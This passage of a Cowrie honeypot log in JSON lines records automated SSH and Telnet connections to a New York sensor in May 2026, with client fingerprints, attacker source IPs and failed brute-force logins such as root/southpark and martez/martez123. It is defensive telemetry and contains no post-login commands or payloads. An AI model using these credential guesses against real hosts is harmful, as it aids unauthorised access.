openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:49.972349Z","src_ip":"37.233.85.71","session":"04ac324d2370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aigerim","message":"login attempt [root/aigerim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:50.286432Z","src_ip":"37.233.85.71","session":"04ac324d2370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:51.393127Z","src_ip":"37.233.85.71","session":"04ac324d2370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":29485,"dst_ip":"159.203.135.109","dst_port":22,"session":"666c9c4de820","protocol":"ssh","message":"New connection: 213.209.159.56:29485 (159.203.135.109:22) [session: 666c9c4de820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:55.047279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:55.933213Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:56.011900Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez","message":"login attempt [martez/martez] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:56.411688Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez1","message":"login attempt [martez/martez1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:57.497190Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez123","message":"login attempt [martez/martez123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:58.581693Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez1234","message":"login attempt [martez/martez1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:33:59.667161Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez12345","message":"login attempt [martez/martez12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:34:00.752822Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:34:01.840450Z","src_ip":"213.209.159.56","session":"666c9c4de820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.196.52","src_port":57990,"dst_ip":"10.17.0.5","dst_port":23,"session":"95154c630b2d","protocol":"telnet","message":"New connection: 8.222.196.52:57990 (10.17.0.5:23) [session: 95154c630b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:34:20.795719Z"}
{"eventid":"cowrie.session.closed","duration":30.36607265472412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:34:51.161703Z","src_ip":"8.222.196.52","session":"95154c630b2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.24.156.141","src_port":46307,"dst_ip":"159.203.135.109","dst_port":23,"session":"13bec3f13ac8","protocol":"telnet","message":"New connection: 36.24.156.141:46307 (159.203.135.109:23) [session: 13bec3f13ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:35:28.569229Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":44230,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ca4c0dfc35c","protocol":"ssh","message":"New connection: 147.45.197.250:44230 (159.203.135.109:22) [session: 2ca4c0dfc35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:35:38.213111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:35:38.218317Z","src_ip":"147.45.197.250","session":"2ca4c0dfc35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:35:38.308254Z","src_ip":"147.45.197.250","session":"2ca4c0dfc35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231189","message":"login attempt [root/231189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:35:38.582503Z","src_ip":"147.45.197.250","session":"2ca4c0dfc35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:35:39.675750Z","src_ip":"147.45.197.250","session":"2ca4c0dfc35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.490546941757202,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:35:42.059674Z","src_ip":"36.24.156.141","session":"13bec3f13ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37370,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9a64d3422d0","protocol":"ssh","message":"New connection: 103.27.238.116:37370 (159.203.135.109:22) [session: b9a64d3422d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:02.040886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:02.046733Z","src_ip":"103.27.238.116","session":"b9a64d3422d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":56756,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e60faba3a10","protocol":"ssh","message":"New connection: 103.27.238.120:56756 (159.203.135.109:22) [session: 9e60faba3a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:02.066088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:02.076583Z","src_ip":"103.27.238.120","session":"9e60faba3a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:02.368855Z","src_ip":"103.27.238.120","session":"9e60faba3a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:03.037581Z","src_ip":"103.27.238.116","session":"b9a64d3422d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"southpark","message":"login attempt [root/southpark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:03.242179Z","src_ip":"103.27.238.120","session":"9e60faba3a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20101987","message":"login attempt [root/20101987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:03.809632Z","src_ip":"103.27.238.116","session":"b9a64d3422d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:04.535429Z","src_ip":"103.27.238.120","session":"9e60faba3a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:05.070514Z","src_ip":"103.27.238.116","session":"b9a64d3422d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b201468c4720","protocol":"telnet","message":"New connection: 69.4.83.194:48104 (159.203.135.109:23) [session: b201468c4720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:05.315274Z"}
{"eventid":"cowrie.session.closed","duration":33.12276268005371,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:38.437743Z","src_ip":"69.4.83.194","session":"b201468c4720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":53220,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c21a1464642","protocol":"ssh","message":"New connection: 176.32.39.21:53220 (10.17.0.5:22) [session: 4c21a1464642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:44.139214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:44.199314Z","src_ip":"176.32.39.21","session":"4c21a1464642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:44.344995Z","src_ip":"176.32.39.21","session":"4c21a1464642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"depeche","message":"login attempt [root/depeche] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:44.765059Z","src_ip":"176.32.39.21","session":"4c21a1464642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:45.889238Z","src_ip":"176.32.39.21","session":"4c21a1464642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":43684,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f72d8aa4e4","protocol":"telnet","message":"New connection: 43.224.126.107:43684 (159.203.135.109:23) [session: d1f72d8aa4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:36:48.673154Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44988,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9f9e0c86a70","protocol":"ssh","message":"New connection: 147.45.199.80:44988 (10.17.0.5:22) [session: c9f9e0c86a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:25.508549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:25.513287Z","src_ip":"147.45.199.80","session":"c9f9e0c86a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:25.612418Z","src_ip":"147.45.199.80","session":"c9f9e0c86a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrew123","message":"login attempt [root/andrew123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:25.911827Z","src_ip":"147.45.199.80","session":"c9f9e0c86a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:27.013407Z","src_ip":"147.45.199.80","session":"c9f9e0c86a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45240,"dst_ip":"10.17.0.5","dst_port":22,"session":"6291cb1cae05","protocol":"ssh","message":"New connection: 147.45.211.215:45240 (10.17.0.5:22) [session: 6291cb1cae05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:39.808007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:39.813149Z","src_ip":"147.45.211.215","session":"6291cb1cae05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:39.985635Z","src_ip":"147.45.211.215","session":"6291cb1cae05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timothy","message":"login attempt [root/timothy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:40.504714Z","src_ip":"147.45.211.215","session":"6291cb1cae05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34494,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b6a35c6589a","protocol":"ssh","message":"New connection: 103.15.222.183:34494 (159.203.135.109:22) [session: 9b6a35c6589a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:37:41.160657Z"}
